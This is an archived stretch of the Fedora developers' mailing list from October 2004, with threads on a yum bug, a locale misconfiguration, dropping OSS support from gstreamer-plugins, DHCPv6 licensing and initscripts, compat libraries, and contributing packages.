Message-ID: <1097951324.7220.9.camel@binkley> On Sat, 2004-10-16 at 19:57 +0200, Kyrre Ness Sjobak wrote: > Okay. How much do i have to update? i update gnome-* right now (and ran > into a bug in yum at the same time... Seth?) - is this enough? Or what > more do i need? I'm going to need a lot more info than "ran into a bug in yum" -sv From alan at redhat.com Sat Oct 16 18:39:08 2004 From: alan at redhat.com (Alan Cox) Date: Sat, 16 Oct 2004 14:39:08 -0400 Subject: udev and proc files In-Reply-To: <200410161926.04735.russell@coker.com.au> References: <200410161926.04735.russell@coker.com.au> Message-ID: <20041016183908.GF31705@devserv.devel.redhat.com> On Sat, Oct 16, 2004 at 07:26:04PM +1000, Russell Coker wrote: > A copy of bash which is spawned by udev attempts an ioctl access > to /proc/ide/ide0/hda/media. This access doesn't do any harm, but possibly > indicates some other problem, is bash supposed to be accessing that file? Probably not. Can you see if udev passed it to bash as fd 0, 1 or 2? This file is also btw likely to be going away soon Alan From kyrre at solution-forge.net Sat Oct 16 18:37:22 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sat, 16 Oct 2004 20:37:22 +0200 Subject: What's up with norwegian translation of Fc3-t3? And gnome? In-Reply-To: <1097951324.7220.9.camel@binkley> References: <1097876794.4252.33.camel@kyrre> <20041015215603.GA5357@nostromo.devel.redhat.com> <1097949470.2859.0.camel@kyrre> <1097951324.7220.9.camel@binkley> Message-ID: <1097951841.2859.9.camel@kyrre> Oh. Forgot... Yesterday, i ran "yum update 'gnome-*'" (after running "yum update yum", so i had the newest version). But since i did not have enough time to let it finish, i control-c'ed it (=> trace) and shut down the machine (cleanly). Today, when i wanted to continue where i left of, i just hit "up" a few times, untill the comand came up again. It downloaded the first header, and stopped. i did it again, and it downloaded the next header etc., until at last (after a 4-5 times of up -> enter -> wait), it finished and began downloading. l?r, 16.10.2004 kl. 20.28 skrev seth vidal: > On Sat, 2004-10-16 at 19:57 +0200, Kyrre Ness Sjobak wrote: > > Okay. How much do i have to update? i update gnome-* right now (and ran > > into a bug in yum at the same time... Seth?) - is this enough? Or what > > more do i need? > > I'm going to need a lot more info than "ran into a bug in yum" > > -sv > From kyrre at solution-forge.net Sat Oct 16 18:45:38 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sat, 16 Oct 2004 20:45:38 +0200 Subject: What's up with norwegian translation of Fc3-t3? And gnome? In-Reply-To: <1097951841.2859.9.camel@kyrre> References: <1097876794.4252.33.camel@kyrre> <20041015215603.GA5357@nostromo.devel.redhat.com> <1097949470.2859.0.camel@kyrre> <1097951324.7220.9.camel@binkley> <1097951841.2859.9.camel@kyrre> Message-ID: <1097952338.2859.12.camel@kyrre> Just for the record Seth: You are doing a great job by bringing a decent package manager to Fedora! Thank you! :D I just think it dont get said to often. And that goes to all others who develops, tests, and generally helps spreading Fedora and GNU/Linux in general! Thank you all! Kyrre l?r, 16.10.2004 kl. 20.37 skrev Kyrre Ness Sjobak: > Oh. Forgot... > > Yesterday, i ran "yum update 'gnome-*'" (after running "yum update yum", > so i had the newest version). But since i did not have enough time to > let it finish, i control-c'ed it (=> trace) and shut down the machine > (cleanly). > > Today, when i wanted to continue where i left of, i just hit "up" a few > times, untill the comand came up again. It downloaded the first header, > and stopped. i did it again, and it downloaded the next header etc., > until at last (after a 4-5 times of up -> enter -> wait), it finished > and began downloading. > > l?r, 16.10.2004 kl. 20.28 skrev seth vidal: > > On Sat, 2004-10-16 at 19:57 +0200, Kyrre Ness Sjobak wrote: > > > Okay. How much do i have to update? i update gnome-* right now (and ran > > > into a bug in yum at the same time... Seth?) - is this enough? Or what > > > more do i need? > > > > I'm going to need a lot more info than "ran into a bug in yum" > > > > -sv > > From kyrre at solution-forge.net Sat Oct 16 18:46:17 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sat, 16 Oct 2004 20:46:17 +0200 Subject: status of ghostscript In-Reply-To: <417034D3.1010906@wanadoo.es> References: <417034D3.1010906@wanadoo.es> Message-ID: <1097952377.2859.14.camel@kyrre> *bump* fre, 15.10.2004 kl. 22.36 skrev Xose Vazquez Perez: > hi, > > what's the ghostscript future in FC ? > > GNU Ghostscript http://www.ghostscript.com/doc/gnu/ > http://www.gnu.org/software/ghostscript/ > GPL Ghostscript http://sourceforge.net/projects/ghostscript/ > ESP Ghostscript http://www.cups.org/ghostscript.php > > :-? > > Slackware has changed to ESP because it brings more > drivers and has a better integration with CUPS > > -- > Hello, this is Darl McBride, and I pronounce Linux as UNIX. > From feliciano.matias at free.fr Sat Oct 16 20:11:29 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Sat, 16 Oct 2004 22:11:29 +0200 Subject: disable oss in gstreamer-plugins Message-ID: <1097957490.18528.8.camel@localhost.localdomain> From rom fedora-test-list : Kyrre Ness Sjobak : Just wondering about something: Why does gnome volume control show both alsa and oss mixers for the same device? When they anyway is sync'ed with eachother, it seems a little bot no-point to me... I recompile gstreamer-plugins without oss support. gnome-volume-control with oss support (FC3) : http://feliciano.matias.free.fr/gnome-volume-control/g-v-c_old.png without oss support http://feliciano.matias.free.fr/gnome-volume-control/g-v-c_new.png preference window of mixer applet with oss support : http://feliciano.matias.free.fr/gnome-volume-control/sound-applet_old.png without oss support : http://feliciano.matias.free.fr/gnome-volume-control/sound-applet_new.png Bugzilla ? -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From kyrre at solution-forge.net Sat Oct 16 20:11:50 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sat, 16 Oct 2004 22:11:50 +0200 Subject: disable oss in gstreamer-plugins In-Reply-To: <1097957490.18528.8.camel@localhost.localdomain> References: <1097957490.18528.8.camel@localhost.localdomain> Message-ID: <1097957509.2859.16.camel@kyrre> l?r, 16.10.2004 kl. 22.11 skrev Matias F?liciano: > From rom fedora-test-list : Kyrre Ness Sjobak : > Just wondering about something: Why does gnome volume control show both > alsa and oss mixers for the same device? When they anyway is sync'ed > with eachother, it seems a little bot no-point to me... > > I recompile gstreamer-plugins without oss support. > > gnome-volume-control with oss support (FC3) : > http://feliciano.matias.free.fr/gnome-volume-control/g-v-c_old.png > without oss support > http://feliciano.matias.free.fr/gnome-volume-control/g-v-c_new.png > > preference window of mixer applet with oss support : > http://feliciano.matias.free.fr/gnome-volume-control/sound-applet_old.png > without oss support : > http://feliciano.matias.free.fr/gnome-volume-control/sound-applet_new.png > > Bugzilla ? Looks a lot less confusing. Think you know more about it than me => you bugzilla it :) Nobody is running fc3 with OSS, right? > > ______________________________________________________________________ > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list From feliciano.matias at free.fr Sun Oct 17 00:09:41 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Sun, 17 Oct 2004 02:09:41 +0200 Subject: disable oss in gstreamer-plugins In-Reply-To: <1097957509.2859.16.camel@kyrre> References: <1097957490.18528.8.camel@localhost.localdomain> <1097957509.2859.16.camel@kyrre> Message-ID: <1097971782.18528.16.camel@localhost.localdomain> Le samedi 16 octobre 2004 ? 22:11 +0200, Kyrre Ness Sjobak a ?crit : > you bugzilla it :) > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=136028 Set to RFE. > Nobody is running fc3 with OSS, right? There is no OSS module in the kernel (except the oss emulation of alsa for backward compatibility). -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From notting at redhat.com Sun Oct 17 03:40:34 2004 From: notting at redhat.com (Bill Nottingham) Date: Sat, 16 Oct 2004 23:40:34 -0400 Subject: What's up with norwegian translation of Fc3-t3? And gnome? In-Reply-To: <1097949470.2859.0.camel@kyrre> References: <1097876794.4252.33.camel@kyrre> <20041015215603.GA5357@nostromo.devel.redhat.com> <1097949470.2859.0.camel@kyrre> Message-ID: <20041017034034.GA13748@nostromo.devel.redhat.com> Kyrre Ness Sjobak (kyrre at solution-forge.net) said: > Okay. How much do i have to update? i update gnome-* right now (and ran > into a bug in yum at the same time... Seth?) - is this enough? Or what > more do i need? It's a bug in anaconda in how it set up the locale. Check your /etc/sysconfig/i18n, it's probably not correct. Bill From mpeters at mac.com Sun Oct 17 09:22:01 2004 From: mpeters at mac.com (Michael A. Peters) Date: Sun, 17 Oct 2004 09:22:01 +0000 Subject: BerkeleyDB and config files In-Reply-To: <200410150826.46607.remco@rvt.com> (from remco@rvt.com on Fri Oct 15 08:26:46 2004) References: <20041014045018.GA5157@devel.mpeters.us> <20041015051251.GA4478@devel.mpeters.us> <604aa79104101423216e62507d@mail.gmail.com> <200410150826.46607.remco@rvt.com> Message-ID: <1098004921l.4046l.2l@devel.mpeters.us> On 10/15/2004 08:26:46 AM, Remco Treffkorn wrote: > > Look at the Elektra Project at http://elektra.sf.net. The author / > maintainer > has paid attention to fedback, and I think this solution is a viable > compromise. Thanks! That's exactly the type of thing I think a desktop linux distro should have. I like what they are doing - will definitely watch it. From pekkas at netcore.fi Sun Oct 17 09:26:17 2004 From: pekkas at netcore.fi (Pekka Savola) Date: Sun, 17 Oct 2004 12:26:17 +0300 (EEST) Subject: DHCPv6 in Fedora Core Message-ID: Hi, I noticed that DHCPv6 was added to Fedora Core a couple of months ago. Sorry for not bringing this up then. I took a quick look at how it has been integrated in the initscripts, and the DHCPv6 src.rpm itself. Two major comments and one justification why this needs to be done now: 1) the 'License' tag in the RPM is 'GPL', while the project has been (partially) ported from KAME's 3-clause BSD license. I.e., this is critically incorrect because it's not even compatible with GPL, and the tag should probably be 'BSD-like', because the advertising clause is in there. (Note: I think the source could use some updates, as well, because KAME's version has seen significant developer activity, while this has been recently quiet -- but this isn't a 'critical path' problem.) 2) I'd like to ask what those major customers who have been asking for DHCPv6 (as stated as the reason for including it) have been requesting: have they asked for DHCPv6 support for 1) address assignment, or DHCPv6 support for 2) configuring information (e.g., DNS or SIP servers) on their [v6-only] systems? Following up from that, I think an important use for 2) would be to run DHCPv6 in so-called 'stateless' mode, where no addresses are obtained at all (for example, this is the only mode supported by KAME) -- because the addresses can be obtained using stateless address autoconfiguration as well. Thus, I'd like to see if that could/should be integrated in the initscripts. So, I'd like to integrate both the 'information-only' ('-I' toggle) and 'full' DHCPv6 in the initscripts level. One way to do that would have 'DHCPV6C=' take two arguments: 'YES' and 'FULL'. YES would call dhcpv6c with -I toggle, full without it. (FWIW, just for simplicity, I'd rename that to DHCPV6 or just DHCP6.) Thoughts? 3) Q: Why this should be done now, rather late in the FC3 development process? A: this is the first release where this feature is introduced. One doesn't need to worry about backwards compat issues yet. If this is postponed to FC4, introducing this logical separation might become quite challenging. From thomas at apestaart.org Sun Oct 17 10:23:59 2004 From: thomas at apestaart.org (Thomas Vander Stichele) Date: Sun, 17 Oct 2004 12:23:59 +0200 Subject: disable oss in gstreamer-plugins In-Reply-To: <1097957490.18528.8.camel@localhost.localdomain> References: <1097957490.18528.8.camel@localhost.localdomain> Message-ID: <1098008638.14562.8.camel@otto.amantes> On Sat, 2004-10-16 at 22:11, Matias F?liciano wrote: > From rom fedora-test-list : Kyrre Ness Sjobak : > Just wondering about something: Why does gnome volume control show both > alsa and oss mixers for the same device? When they anyway is sync'ed > with eachother, it seems a little bot no-point to me... > > I recompile gstreamer-plugins without oss support. Please don't - the disease should be fixed, not the symptom. For all sorts of reasons people could be using oss, or ALSA/OSS on their system. If gnome-volume-control shows the same mixer twice, it needs to be fixed in gnome-volume-control. Don't remove functional plugins please. Dave/Dina : future TV today ! - http://www.davedina.org/ <-*- thomas (dot) apestaart (dot) org -*-> I'm so boring my clothes wanna keep somebody else warm someone cooler <-*- thomas (at) apestaart (dot) org -*-> URGent, best radio on the net - 24/7 ! - http://urgent.fm/ From feliciano.matias at free.fr Sun Oct 17 10:40:09 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Sun, 17 Oct 2004 12:40:09 +0200 Subject: disable oss in gstreamer-plugins In-Reply-To: <1098008638.14562.8.camel@otto.amantes> References: <1097957490.18528.8.camel@localhost.localdomain> <1098008638.14562.8.camel@otto.amantes> Message-ID: <1098009609.18528.32.camel@localhost.localdomain> Le dimanche 17 octobre 2004 ? 12:23 +0200, Thomas Vander Stichele a ?crit : > On Sat, 2004-10-16 at 22:11, Matias F?liciano wrote: > > From rom fedora-test-list : Kyrre Ness Sjobak : > > Just wondering about something: Why does gnome volume control show both > > alsa and oss mixers for the same device? When they anyway is sync'ed > > with eachother, it seems a little bot no-point to me... > > > > I recompile gstreamer-plugins without oss support. > > Please don't - the disease should be fixed, not the symptom. For all > sorts of reasons people could be using oss, or ALSA/OSS on their > system. If gnome-volume-control shows the same mixer twice, it needs to > be fixed in gnome-volume-control. Don't remove functional plugins > please. It's not up to me :-) There is no OSS driver in FC3 (only OSS emulation (by alsa)). Any application that use gstreamer-plugins can use Alsa. In fact, they don't know if they are using OSS or alsa. They use gstreamer. Period. OSS programs (by definition does not use gstreamer) are not impacted by the suppression of OSS support in gstreamer. aplay /usr/lib/ooo-1.1/share/gallery/sounds/cow.wav (alsa) and play /usr/lib/ooo-1.1/share/gallery/sounds/cow.wav (OSS) work perfectly. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From mpeters at mac.com Sun Oct 17 11:21:56 2004 From: mpeters at mac.com (Michael A. Peters) Date: Sun, 17 Oct 2004 11:21:56 +0000 Subject: Request: gtkhtml3 and libgal2 compatability libs Message-ID: <1098012116l.6618l.0l@devel.mpeters.us> If possible, I would like to see a fedora developer maintain the FC2 versions of gtkhtml3 and libgal2 packaged in Fedora Stable as compatability libraries for software (such as gnomesword) that has not yet been updated for the newer versions of those libraries. It would be trivial to do - the library and devel packages do not conflict with the newer versions that FC3T3 has. I'm guessing at most all that needs to be done is changing the package name to compat-name (I suppose even that isn't necessary, how smart is yum and apt-get with respect to different versions of package with same name?) I suspect there aren't many apps that need them, and they will no doubt be ported to the newer versions, but I would like to see them in Fedora Stable if for nothing else than compatability reasons. The relative FC2 packages (that I'm requesting) are: libgal2-1.99.11-1.src.rpm gtkhtml3-3.0.10-1.src.rpm Both of which build and install fine in FC3T3 as is (but the naming might cause update issues, I don't know) From buildsys at redhat.com Sun Oct 17 11:50:33 2004 From: buildsys at redhat.com (Build System) Date: Sun, 17 Oct 2004 07:50:33 -0400 Subject: rawhide report: 20041017 changes Message-ID: <200410171150.i9HBoXm04331@porkchop.devel.redhat.com> Updated Packages: ElectricFence-2.2.2-19 ---------------------- * Sat Oct 16 2004 Jakub Jelinek 2.2.2-19 - when EF_PROTECT_FREE=1, instead of munmaping mprotect PROT_NONE and madvise MADV_DONTNEED (#107506) comps-extras-10.1-1 ------------------- * Sun Oct 17 2004 Bill Nottingham - 10.1-1 - fix xfce images (#136046) firefox-0.10.1-1.0PR1.12 ------------------------ * Sat Oct 16 2004 Christopher Aillon 0:0.10.1-1.0PR1.12 - Disable the default application checks. (#133713) - Disable the software update feature. (#136017) * Wed Oct 13 2004 Christopher Blizzard - Use pango for rendering gamin-0.0.15-1 -------------- * Sat Oct 16 2004 Daniel Veillard 0.0.15-1 - workaround to detect loops and avoid the nasty effects, see RedHat bug #132354 gcc4-4.0.0-0.7 -------------- * Sat Oct 16 2004 Jakub Jelinek 4.0.0-0.7 - added object size checking patch - added stdarg optimization patch * Sat Oct 16 2004 Jakub Jelinek 4.0.0-0.6 - update from trunk initscripts-7.91-1 ------------------ * Sun Oct 17 2004 Bill Nottingham 7.91-1 - rc.d/rc.sysinit: remove devlabel call - mdadm support, now that raidtools is gone (#126636, #88785) - call ipv6to4 scripts in /etc/ppp/(ip-up|ip-down) (#124390, ) - cleanup a couple of nits that could affect bug #134754 - make sure we return to rhgb after fsck (#133966, #112839, #134449) - automatically reboot when fsck calls for it, instead of requiring manual intervention (#117641 and duplicates) - ifup-wireless: fix key for open vs. restricted (#135235, ) - translation updates metacity-2.8.6-2 ---------------- * Sat Oct 16 2004 Havoc Pennington 2.8.6-2 - remove all the rerunning of autotools, intltool, etc. cruft; seemed to be breaking build * Fri Oct 15 2004 Havoc Pennington 2.8.6-1 - upgrade to 2.8.6, fixes a lot of focus bugs primarily. * Fri Oct 15 2004 Soren Sandmann - 2.8.5-3 - Kludge around right alt problem (#132379) rpmdb-fedora-2.92-0.20041017 ---------------------------- From arcofdescent at gmail.com Sun Oct 17 11:55:49 2004 From: arcofdescent at gmail.com (arc_of_descent) Date: Sun, 17 Oct 2004 17:25:49 +0530 Subject: contribute a package Message-ID: <777aada20410170455289b5d7c@mail.gmail.com> HI, I would like to contribute a package which I have developed. How do I go about it? __ arc_of_descent From kyrre at solution-forge.net Sun Oct 17 12:45:16 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sun, 17 Oct 2004 14:45:16 +0200 Subject: contribute a package In-Reply-To: <777aada20410170455289b5d7c@mail.gmail.com> References: <777aada20410170455289b5d7c@mail.gmail.com> Message-ID: <1098017115.4163.0.camel@kyrre> Think you should check out fedora.us - as far as i know, everything that enters core must have been in extras first. s?n, 17.10.2004 kl. 13.55 skrev arc_of_descent: > HI, > > I would like to contribute a package which I have developed. > How do I go about it? > > __ > arc_of_descent From kyrre at solution-forge.net Sun Oct 17 12:49:51 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sun, 17 Oct 2004 14:49:51 +0200 Subject: What's up with norwegian translation of Fc3-t3? And gnome? In-Reply-To: <20041017034034.GA13748@nostromo.devel.redhat.com> References: <1097876794.4252.33.camel@kyrre> <20041015215603.GA5357@nostromo.devel.redhat.com> <1097949470.2859.0.camel@kyrre> <20041017034034.GA13748@nostromo.devel.redhat.com> Message-ID: <1098017391.4163.2.camel@kyrre> Shall do. It is fixed so it will work in final, rigth? Can i just copy the i18n file from an fc2 machine? s?n, 17.10.2004 kl. 05.40 skrev Bill Nottingham: > Kyrre Ness Sjobak (kyrre at solution-forge.net) said: > > Okay. How much do i have to update? i update gnome-* right now (and ran > > into a bug in yum at the same time... Seth?) - is this enough? Or what > > more do i need? > > It's a bug in anaconda in how it set up the locale. Check your > /etc/sysconfig/i18n, it's probably not correct. > > Bill From arcofdescent at gmail.com Sun Oct 17 13:06:10 2004 From: arcofdescent at gmail.com (arc_of_descent) Date: Sun, 17 Oct 2004 18:36:10 +0530 Subject: contribute a package In-Reply-To: <1098017115.4163.0.camel@kyrre> References: <777aada20410170455289b5d7c@mail.gmail.com> <1098017115.4163.0.camel@kyrre> Message-ID: <777aada204101706061a8a3c6a@mail.gmail.com> Kyrre Ness Sjobak wrote: > Think you should check out fedora.us - as far as i know, everything that > enters core must have been in extras first. Its already in the stable RPM list of Fedora extras. How do I try and get it into the main Fedora? __ arc_of_descent From fedora-devel at camperquake.de Sun Oct 17 13:08:11 2004 From: fedora-devel at camperquake.de (Ralf Ertzinger) Date: Sun, 17 Oct 2004 15:08:11 +0200 Subject: contribute a package In-Reply-To: <777aada204101706061a8a3c6a@mail.gmail.com>; from arcofdescent@gmail.com on Sun, Oct 17, 2004 at 06:36:10PM +0530 References: <777aada20410170455289b5d7c@mail.gmail.com> <1098017115.4163.0.camel@kyrre> <777aada204101706061a8a3c6a@mail.gmail.com> Message-ID: <20041017150811.A18174@ryoko.camperquake.de> On Sun, Oct 17, 2004 at 06:36:10PM +0530, arc_of_descent wrote: > Its already in the stable RPM list of Fedora extras. > How do I try and get it into the main Fedora? Start with telling us the name of the package. From fedora at wir-sind-cool.org Sun Oct 17 13:19:50 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Sun, 17 Oct 2004 15:19:50 +0200 Subject: contribute a package In-Reply-To: <1098017115.4163.0.camel@kyrre> References: <777aada20410170455289b5d7c@mail.gmail.com> <1098017115.4163.0.camel@kyrre> Message-ID: <20041017151950.1b78f932.fedora@wir-sind-cool.org> On Sun, 17 Oct 2004 14:45:16 +0200, Kyrre Ness Sjobak wrote: > > I would like to contribute a package which I have developed. > > How do I go about it? > > Think you should check out fedora.us - as far as i know, everything that > enters core must have been in extras first. Certainly not true for Red Hat employees. -- Fedora Core release 2 (Tettnang) - Linux 2.6.8-1.541 loadavg: 1.23 1.29 1.31 From arcofdescent at gmail.com Sun Oct 17 13:20:13 2004 From: arcofdescent at gmail.com (arc_of_descent) Date: Sun, 17 Oct 2004 18:50:13 +0530 Subject: contribute a package In-Reply-To: <20041017150811.A18174@ryoko.camperquake.de> References: <777aada20410170455289b5d7c@mail.gmail.com> <1098017115.4163.0.camel@kyrre> <777aada204101706061a8a3c6a@mail.gmail.com> <20041017150811.A18174@ryoko.camperquake.de> Message-ID: <777aada2041017062043f58734@mail.gmail.com> Ralf Ertzinger wrote: > On Sun, Oct 17, 2004 at 06:36:10PM +0530, arc_of_descent wrote: > > > Its already in the stable RPM list of Fedora extras. > > How do I try and get it into the main Fedora? > > Start with telling us the name of the package. > Its called ibmonitor - an interactive bandwidth monitor At http://sourceforge.net/projects/ibmonitor Thanks. __ arc_of_descent From fedora at wir-sind-cool.org Sun Oct 17 13:26:25 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Sun, 17 Oct 2004 15:26:25 +0200 Subject: contribute a package In-Reply-To: <777aada204101706061a8a3c6a@mail.gmail.com> References: <777aada20410170455289b5d7c@mail.gmail.com> <1098017115.4163.0.camel@kyrre> <777aada204101706061a8a3c6a@mail.gmail.com> Message-ID: <20041017152625.37d13687.fedora@wir-sind-cool.org> On Sun, 17 Oct 2004 18:36:10 +0530, arc_of_descent wrote: > > Think you should check out fedora.us - as far as i know, everything that > > enters core must have been in extras first. > > Its already in the stable RPM list of Fedora extras. > How do I try and get it into the main Fedora? General usefulness and importance would need to justify its inclusion in case you need to persuade somebody. You would file a bug report on component "distribution" and explain why you think the package ought to be included in Fedora Core and why it is not enough to keep it in Extras. Btw, it is extremely bad form to not insert your real name in your e-mails and use a pseudonym instead. I know some subscribers on these list use fake real names. But if you're serious about getting a package included, you should not do that. -- Fedora Core release 2 (Tettnang) - Linux 2.6.8-1.541 loadavg: 1.04 1.20 1.27 From arcofdescent at gmail.com Sun Oct 17 13:53:47 2004 From: arcofdescent at gmail.com (arc_of_descent) Date: Sun, 17 Oct 2004 19:23:47 +0530 Subject: contribute a package In-Reply-To: <20041017152625.37d13687.fedora@wir-sind-cool.org> References: <777aada20410170455289b5d7c@mail.gmail.com> <1098017115.4163.0.camel@kyrre> <777aada204101706061a8a3c6a@mail.gmail.com> <20041017152625.37d13687.fedora@wir-sind-cool.org> Message-ID: <777aada204101706533fdf6787@mail.gmail.com> Michael Schwendt wrote: > On Sun, 17 Oct 2004 18:36:10 +0530, arc_of_descent wrote: > > > > Think you should check out fedora.us - as far as i know, everything that > > > enters core must have been in extras first. > > > > Its already in the stable RPM list of Fedora extras. > > How do I try and get it into the main Fedora? > > General usefulness and importance would need to justify its inclusion > in case you need to persuade somebody. You would file a bug report > on component "distribution" and explain why you think the package > ought to be included in Fedora Core and why it is not enough to keep > it in Extras. Thanks. I'll do the needful. > Btw, it is extremely bad form to not insert your real name in your > e-mails and use a pseudonym instead. I know some subscribers on these > list use fake real names. But if you're serious about getting a > package included, you should not do that. > I don't really see the point here. Is it like a pre-condition? To point out your real name? Not the usefulness of the package? Anyways. I don't want to argue now. -- Rohan From kyrre at solution-forge.net Sun Oct 17 14:09:21 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sun, 17 Oct 2004 16:09:21 +0200 Subject: contribute a package In-Reply-To: <20041017151950.1b78f932.fedora@wir-sind-cool.org> References: <777aada20410170455289b5d7c@mail.gmail.com> <1098017115.4163.0.camel@kyrre> <20041017151950.1b78f932.fedora@wir-sind-cool.org> Message-ID: <1098022160.4385.2.camel@kyrre> s?n, 17.10.2004 kl. 15.19 skrev Michael Schwendt: > On Sun, 17 Oct 2004 14:45:16 +0200, Kyrre Ness Sjobak wrote: > > > > I would like to contribute a package which I have developed. > > > How do I go about it? > > > > Think you should check out fedora.us - as far as i know, everything that > > enters core must have been in extras first. > > Certainly not true for Red Hat employees. > I was going to mention that but i thought everyone saw that *but* so i dropped it. > -- > Fedora Core release 2 (Tettnang) - Linux 2.6.8-1.541 > loadavg: 1.23 1.29 1.31 From fedora at wir-sind-cool.org Sun Oct 17 14:37:04 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Sun, 17 Oct 2004 16:37:04 +0200 Subject: contribute a package In-Reply-To: <1098022160.4385.2.camel@kyrre> References: <777aada20410170455289b5d7c@mail.gmail.com> <1098017115.4163.0.camel@kyrre> <20041017151950.1b78f932.fedora@wir-sind-cool.org> <1098022160.4385.2.camel@kyrre> Message-ID: <20041017163704.5629768c.fedora@wir-sind-cool.org> On Sun, 17 Oct 2004 16:09:21 +0200, Kyrre Ness Sjobak wrote: > > > > I would like to contribute a package which I have developed. > > > > How do I go about it? > > > > > > Think you should check out fedora.us - as far as i know, everything that > > > enters core must have been in extras first. > > > > Certainly not true for Red Hat employees. > > > > I was going to mention that but i thought everyone saw that *but* so i > dropped it. Well, all packages in Fedora Core are maintained by Red Hat employees. ;) -- Fedora Core release 2 (Tettnang) - Linux 2.6.8-1.541 loadavg: 0.02 0.08 0.38 From rms at 1407.org Sun Oct 17 15:46:44 2004 From: rms at 1407.org (Rui Miguel Seabra) Date: Sun, 17 Oct 2004 16:46:44 +0100 Subject: Weird excruciating slowness of FC3t3 Message-ID: <1098028004.27114.6.camel@roque> Okay, after the scare subject, I warn: 1) installed on a Pentium II, 350Mhz with 128 MB of memory was usable 2) installed on a Pentium III, 500Mhz laptop with 512 MB of memory was UNUSABLE Get the weird part? Both of them were pretty normal installations. Disks wiped clean with LVM, SELinux on. There were no error messages at all. None whatsoever. The laptop in question is a Toshiba Satellite Pro 4280. Since my gf needed her computer working, I decided to just try a recent Ubunto installation. It was way faster than FC2 ever was on it, even though the desktop is also GNOME 2.8. However, it doesn't include SELinux or LVM support for / . I'd like to go back to FC3 on that laptop when it comes, but I can't perpetually test it that hard, how can I give more information that might prevent such weird things to happen again? I have free space enough for a parallel installation, but it will never be the same as a default Workstation... Rui -- -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From rms at 1407.org Sun Oct 17 15:46:44 2004 From: rms at 1407.org (Rui Miguel Seabra) Date: Sun, 17 Oct 2004 16:46:44 +0100 Subject: Weird excruciating slowness of FC3t3 Message-ID: <1098028004.27114.6.camel@roque> Okay, after the scare subject, I warn: 1) installed on a Pentium II, 350Mhz with 128 MB of memory was usable 2) installed on a Pentium III, 500Mhz laptop with 512 MB of memory was UNUSABLE Get the weird part? Both of them were pretty normal installations. Disks wiped clean with LVM, SELinux on. There were no error messages at all. None whatsoever. The laptop in question is a Toshiba Satellite Pro 4280. Since my gf needed her computer working, I decided to just try a recent Ubunto installation. It was way faster than FC2 ever was on it, even though the desktop is also GNOME 2.8. However, it doesn't include SELinux or LVM support for / . I'd like to go back to FC3 on that laptop when it comes, but I can't perpetually test it that hard, how can I give more information that might prevent such weird things to happen again? I have free space enough for a parallel installation, but it will never be the same as a default Workstation... Rui -- -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From otaylor at redhat.com Sun Oct 17 15:53:10 2004 From: otaylor at redhat.com (Owen Taylor) Date: Sun, 17 Oct 2004 11:53:10 -0400 Subject: Request: gtkhtml3 and libgal2 compatability libs In-Reply-To: <1098012116l.6618l.0l@devel.mpeters.us> References: <1098012116l.6618l.0l@devel.mpeters.us> Message-ID: <1098028390.2994.38.camel@localhost.localdomain> On Sun, 2004-10-17 at 11:21 +0000, Michael A. Peters wrote: > If possible, I would like to see a fedora developer maintain the FC2 > versions of gtkhtml3 and libgal2 packaged in Fedora Stable as > compatability libraries for software (such as gnomesword) that has not > yet been updated for the newer versions of those libraries. > > It would be trivial to do - the library and devel packages do not > conflict with the newer versions that FC3T3 has. I'm guessing at most > all that needs to be done is changing the package name to compat-name > (I suppose even that isn't necessary, how smart is yum and apt-get with > respect to different versions of package with same name?) In general, compat libraries do have to be renamed; it's at the very least very confusing to have multiple versions of the same package around, even if it is possible with 'rpm -i' > I suspect there aren't many apps that need them, and they will no doubt > be ported to the newer versions, but I would like to see them in Fedora > Stable if for nothing else than compatability reasons. > > The relative FC2 packages (that I'm requesting) are: > > libgal2-1.99.11-1.src.rpm > gtkhtml3-3.0.10-1.src.rpm > > Both of which build and install fine in FC3T3 as is (but the naming > might cause update issues, I don't know) Basically, it's really expensive (in terms of work and number of packages) to provide compat libraries for libraries that don't have a certain level of stability. Which of the dozens of versions of libgal that have been released in the last few years would you provide compat libraries for? And with a program that only works with the older versions, a compatibility library really isn't a solution since you'll be unable to rebuild the package. You'd need a compatibility development environment, which is typically a *lot* of work for a library that hasn't been designed to allow that. So, basically, I don't think we'd consider these additions for Fedora Core. It might be possible to get them into Fedora Extras ... I'm not sure what the fedora.us policy is on compat libraries currently. Regards, Owen -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From kyrre at solution-forge.net Sun Oct 17 17:13:16 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sun, 17 Oct 2004 19:13:16 +0200 Subject: Weird excruciating slowness of FC3t3 In-Reply-To: <1098028004.27114.6.camel@roque> References: <1098028004.27114.6.camel@roque> Message-ID: 